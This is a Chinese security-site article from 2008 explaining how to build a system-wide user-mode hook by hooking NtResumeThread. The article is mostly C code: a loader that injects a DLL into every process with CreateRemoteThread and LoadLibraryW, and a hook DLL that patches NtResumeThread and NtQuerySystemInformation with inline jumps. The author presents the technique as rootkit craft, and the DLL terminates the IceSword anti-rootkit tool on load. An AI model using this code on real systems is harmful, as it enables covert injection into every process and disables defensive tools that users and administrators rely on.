xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 Xcon English Version

挂钩 NtResumeThread 实现全局Hook


创建时间:2008-05-25
文章属性:原创
文章提交:BITS (zhouzhenster_at_gmail.com)

挂钩 NtResumeThread 实现全局Hook

zhouzhenster@gmail.com
zhouzhen[E.S.T]

挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。
似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然
是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,
因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是
无法接受蓝屏和死机的。

感兴趣的可以装个Rootkit unhooker 自己看看。 :)

1. 以往的Ring 3全局Hook

纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型:

HHOOK SetWindowsHookEx(      
    int idHook,
    HOOKPROC lpfn,
    HINSTANCE hMod,
    DWORD dwThreadId
);

idhook   安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等
lpfn     hook procedure 的指针
hmod     包含 hook procedure DLL 的handle
dwThread 为0

使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面
的程序,Windows console 类的程序就无能为力了。

还有一种通过插入注册表来实现

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。

以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess
这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。

a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,
   而当NtCreateProcess返回时,进程又已经开始运行

b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可
   以这么理解,直接在命令行下,cmd,cmd,cmd .... 你可以监控到最后一个cmd 吗,如果只
   用SetWindowsHookEx

c. 是否正好站在了华容道,是否足够底层。

似乎很费劲

2. 分析系统创建进程过程,寻找方法

关于这方面内容,可以参考毛德操老师的两篇文章

《漫谈兼容内核之十七:再谈Windows的进程创建》

《漫谈兼容内核之二十二:Windows线程的调度和运行》

下面是他的blog 链接:
http://hi.baidu.com/fatbsd/blog

CreateProcess 是 Kernel32.dll 的导出函数。

操起WinDbg,剁了一下: Windows 2003 SP2

lkd> uf CreateProcessW
kernel32!CreateProcessW:
7c802474 8bff             mov     edi,edi
7c802476 55               push    ebp
7c802477 8bec             mov     ebp,esp
7c802479 6a00             push    0x0
7c80247b ff752c           push    dword ptr [ebp+0x2c]
7c80247e ff7528           push    dword ptr [ebp+0x28]
7c802481 ff7524           push    dword ptr [ebp+0x24]
7c802484 ff7520           push    dword ptr [ebp+0x20]
7c802487 ff751c           push    dword ptr [ebp+0x1c]
7c80248a ff7518           push    dword ptr [ebp+0x18]
7c80248d ff7514           push    dword ptr [ebp+0x14]
7c802490 ff7510           push    dword ptr [ebp+0x10]
7c802493 ff750c           push    dword ptr [ebp+0xc]
7c802496 ff7508           push    dword ptr [ebp+0x8]
7c802499 6a00             push    0x0
7c80249b e8a6ac0200       call    kernel32!CreateProcessInternalW (7c82d146)
7c8024a0 5d               pop     ebp
7c8024a1 c22800           ret     0x28

lkd> uf CreateProcessInternalW
....
7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)]
....
7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)]
....
7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)]

大概流程如下:

Kernel32!CreateProcessW
Kernel32!CreateProcessInternalW
ntdll!NtCreateProcessEx
ntdll!NtCreateThread
ntdll!NtResumeThread

因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。
所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,
但是进程并没有调度起来,呵呵,方便干坏事啊。

3. 具体代码实现

基本思路已经清晰了,这里还几个问题。

a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时
   调用的NtResumeThread呢?

其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到
NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。

b. 用什么方法Hook , IAT、Inline? 总的架构?

  这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。
  枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程
  创建时,将DLL 插入新进程。

  下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。
  Hook 也不是不是我们这次的主要内容,感兴趣的可以参考

  http://www.xfocus.net/articles/200403/681.html

c. 在多线程的环境下是否可靠?
  
  使用关键代码段,互斥锁,效果还可以。


Loader:

void inject(HANDLE hProcess){

char CurPath[256] = {0};
    strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");
    PWSTR pszLibFileRemote = NULL;


    int len = (lstrlen(CurPath)+1)*2;
    WCHAR wCurPath[256];
    MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

    pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess,
                                             NULL,
                                             len,
                                             MEM_COMMIT,
                                             PAGE_READWRITE);

    WriteProcessMemory(hProcess, pszLibFileRemote,
            (PVOID) wCurPath, len, NULL);

    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)
        GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

    CreateRemoteThread(hProcess,
                       NULL,
                       0,    
                       pfnThreadRtn,
                       pszLibFileRemote,
                       0,
                       NULL);

}

void TotalInject()
{
    HANDLE         hProcessSnap = NULL;
    BOOL           bRet      = FALSE;
    PROCESSENTRY32 pe32      = {0};

    //  Take a snapshot of all processes in the system.
    EnableDebugPrivilege(1);

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (hProcessSnap == INVALID_HANDLE_VALUE)
        return;

    //  Fill in the size of the structure before using it.

    pe32.dwSize = sizeof(PROCESSENTRY32);

    //  Walk the snapshot of the processes, and for each process,
    //  display information.

    if (Process32First(hProcessSnap, &pe32))
    {

        do
        {
                HANDLE hProcess;
                // Get the actual priority class.
                hProcess = OpenProcess (PROCESS_ALL_ACCESS,
                                        FALSE,
                                       pe32.th32ProcessID);
        inject(hProcess);
        CloseHandle(hProcess);
          
        }
        while (Process32Next(hProcessSnap, &pe32));

    }

    // Do not forget to clean up the snapshot object.
        EnableDebugPrivilege(0);

    CloseHandle (hProcessSnap);
    return ;


}

Hook.dll: 关键代码

#include "stdafx.h"
#include <stdio.h>

BOOL g_bHook = FALSE;

typedef LONG NTSTATUS;
#define STATUS_SUCCESS               ((NTSTATUS)0x00000000L)
#define STATUS_ACCESS_DENIED         ((NTSTATUS)0xC0000022L)
#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L)
typedef ULONG SYSTEM_INFORMATION_CLASS;
typedef ULONG THREADINFOCLASS;
typedef ULONG PROCESSINFOCLASS;
typedef ULONG KPRIORITY;
#define MEMORY_BASIC_INFORMATION_SIZE 28

typedef struct _THREAD_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PNT_TIB TebBaseAddress;
    CLIENT_ID ClientId;
    KAFFINITY AffinityMask;
    KPRIORITY Priority;
    KPRIORITY BasePriority;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;

typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
KAFFINITY AffinityMask;
KPRIORITY BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)(
  IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
  OUT PVOID               SystemInformation,
  IN ULONG                SystemInformationLength,
  OUT PULONG              ReturnLength OPTIONAL );

typedef NTSTATUS (__stdcall *NTRESUMETHREAD)(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);

typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)(
  IN HANDLE ThreadHandle,
  IN THREADINFOCLASS ThreadInformationClass,
  OUT PVOID ThreadInformation,
  IN ULONG ThreadInformationLength,
  OUT PULONG ReturnLength OPTIONAL);


typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL);


NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;
NTRESUMETHREAD g_pfNtResumeThread = NULL;
BYTE g_OldNtQuerySystemInformation[5] = {0}, g_NewNtQuerySystemInformation[5] = {0};
BYTE g_OldNtResumeThread[5] = {0}, g_NewNtResumeThread[5] = {0};
DWORD dwIdOld = 0;
CRITICAL_SECTION cs;

NTSTATUS __stdcall NewNtQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength);

NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL);


void WINAPI HookOn();
void WINAPI HookOff();

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved )
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH:
        {
             InitializeCriticalSection(&cs);
             char Name[MAX_PATH] = {0};
             GetModuleFileName(NULL, Name, MAX_PATH);
             // 杀杀冰刃玩玩
             if ( strstr(Name, "IceSword.exe") != NULL)
             {
                HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
                                              0,
                                              GetCurrentProcessId());
                TerminateProcess(hProcess, 0);
                CloseHandle(hProcess);
             }
            if(!g_bHook)
            {
                HookOn();
            }
            #ifdef _DEBUG
               MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK);
            #endif

        }
            break;
        case DLL_THREAD_ATTACH:
            
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
        if(g_bHook)
        {
            HookOff();
#ifdef _DEBUG
            MessageBox(NULL, "Off!", "Hook Off", MB_OK);
#endif    
            DeleteCriticalSection(&cs);
            
        }
        break;
    }

        return TRUE;
}

BOOL EnableDebugPrivilege(BOOL fEnable) {

   // Enabling the debug privilege allows the application to see
   // information about service applications
   BOOL fOk = FALSE;    // Assume function fails
   HANDLE hToken;

   // Try to open this process's access token
   if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,
      &hToken)) {

      // Attempt to modify the "Debug" privilege
      TOKEN_PRIVILEGES tp;
      tp.PrivilegeCount = 1;
      LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
      tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
      AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
      fOk = (GetLastError() == ERROR_SUCCESS);
      CloseHandle(hToken);
   }
   return(fOk);
}

#define ThreadBasicInformation 0

void inject(HANDLE hProcess){

    char CurPath[256] = {0};
    GetSystemDirectory(CurPath, 256);
    strncat(CurPath, "\\Hook.dll", 9);
    //strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");
    PWSTR pszLibFileRemote = NULL;


    int len = (lstrlen(CurPath)+1)*2;
    WCHAR wCurPath[256];
    MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

    EnableDebugPrivilege(1);

    pszLibFileRemote = (PWSTR)
        VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);

    WriteProcessMemory(hProcess, pszLibFileRemote,
        (PVOID) wCurPath, len, NULL);

    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)
         GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

    HANDLE hRemoteThread = CreateRemoteThread(hProcess,
                                                      NULL,
                                                      0,
                                                      pfnThreadRtn,
                                                      pszLibFileRemote,
                                                      0,
                                                      NULL);
    WaitForSingleObject(hRemoteThread, INFINITE);
    CloseHandle(hRemoteThread);

    EnableDebugPrivilege(0);

}

NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL)
{

    NTSTATUS ret;
    NTSTATUS nStatus;
    NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
    NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;
    THREAD_BASIC_INFORMATION ti;
    DWORD Pid = 0;

    HMODULE hNtdll = GetModuleHandle("ntdll.dll");

    NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,
                                                             "NtQuerySystemInformation");
    NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll,
                                                             "NtQueryInformationThread");

    if (NtQueryInformationThread == NULL)
    {
#ifdef _DEBUG
        MessageBox(NULL, "can't get NtQueryInformationThread", "", MB_OK);
#endif    
        
    }
    
    nStatus = NtQueryInformationThread(ThreadHandle,
                                           ThreadBasicInformation,
                                           (PVOID)&ti,
                       sizeof(THREAD_BASIC_INFORMATION),
                                           NULL);

    if(nStatus != STATUS_SUCCESS)
    {
#ifdef _DEBUG
        MessageBox(NULL, "fuck failed", "", MB_OK);
#endif
        
    }

    Pid = (DWORD)(ti.ClientId.UniqueProcess);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid);

    if (hProcess == NULL)
    {
#ifdef _DEBUG
        MessageBox(NULL, "open process failed", "", MB_OK);
#endif
    }

    BYTE FirstByte[1] = {0};
    // check if the process has been hooked
    ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL);

    // 已经被Hook了
    if ( FirstByte[0] == 0xe9)
    {

       HookOff();
       ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);
       HookOn();

       CloseHandle(hProcess);

       return ret;
    }
    // 创建新进程的调用,Hook 之
    else
    {
        HookOff();
        inject(hProcess);
        ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);
        HookOn();

        CloseHandle(hProcess);
        return ret;
    }
}

NTSTATUS __stdcall NewNtQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{
    NTSTATUS ntStatus;

    HookOff();
    ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass,
                                                SystemInformation,
                                                SystemInformationLength,
                                                ReturnLength);
    HookOn();

   return ntStatus;
}


void WINAPI HookOn()
{
    PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL;
    DWORD dwOldProtect, dwOldProtect2;
    HANDLE hProcess = NULL;

    
    dwIdOld = GetCurrentProcessId();
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld);
    if(hProcess == NULL)
    return ;

     HMODULE hNtdll = GetModuleHandle("ntdll.dll");
     g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,
                                                    "NtQuerySystemInformation");

     if (g_pfNtQuerySystemInformation == NULL)
     {
         return;
     }

     g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread");

     if (g_pfNtResumeThread == NULL)
     {
         return;
     }
    
     EnterCriticalSection(&cs);

    _asm
    {
        lea edi,g_OldNtQuerySystemInformation
        mov esi,g_pfNtQuerySystemInformation
        cld
        mov ecx,5
        rep movsb
        lea edi,g_OldNtResumeThread
        mov esi,g_pfNtResumeThread
        cld
        mov ecx,5
        rep movsb
    }

    g_NewNtQuerySystemInformation[0] = 0xe9;
    g_NewNtResumeThread[0] = 0xe9;
    _asm
    {
        lea eax, NewNtQuerySystemInformation
        mov ebx, g_pfNtQuerySystemInformation
        sub eax, ebx
        sub eax, 5
        mov dword ptr [g_NewNtQuerySystemInformation + 1], eax
        lea eax, NewNtResumeThread
        mov ebx, g_pfNtResumeThread
        sub eax, ebx
        sub eax, 5
        mov dword ptr [g_NewNtResumeThread + 1], eax
    }
    .......
    LeaveCriticalSection(&cs);

    g_bHook = TRUE;
}

// 还原被修改的代码
void WINAPI HookOff()
{
    ......
    g_bHook = FALSE;
}

4. 参考资料

Microsoft MSDN,SDK & DDK
《Windows NT 2000 Native API Reference》
《Windows 核心编程》
《挂钩Windows API》
《如何在Windows NT中隐藏自己》

#
# EOF
#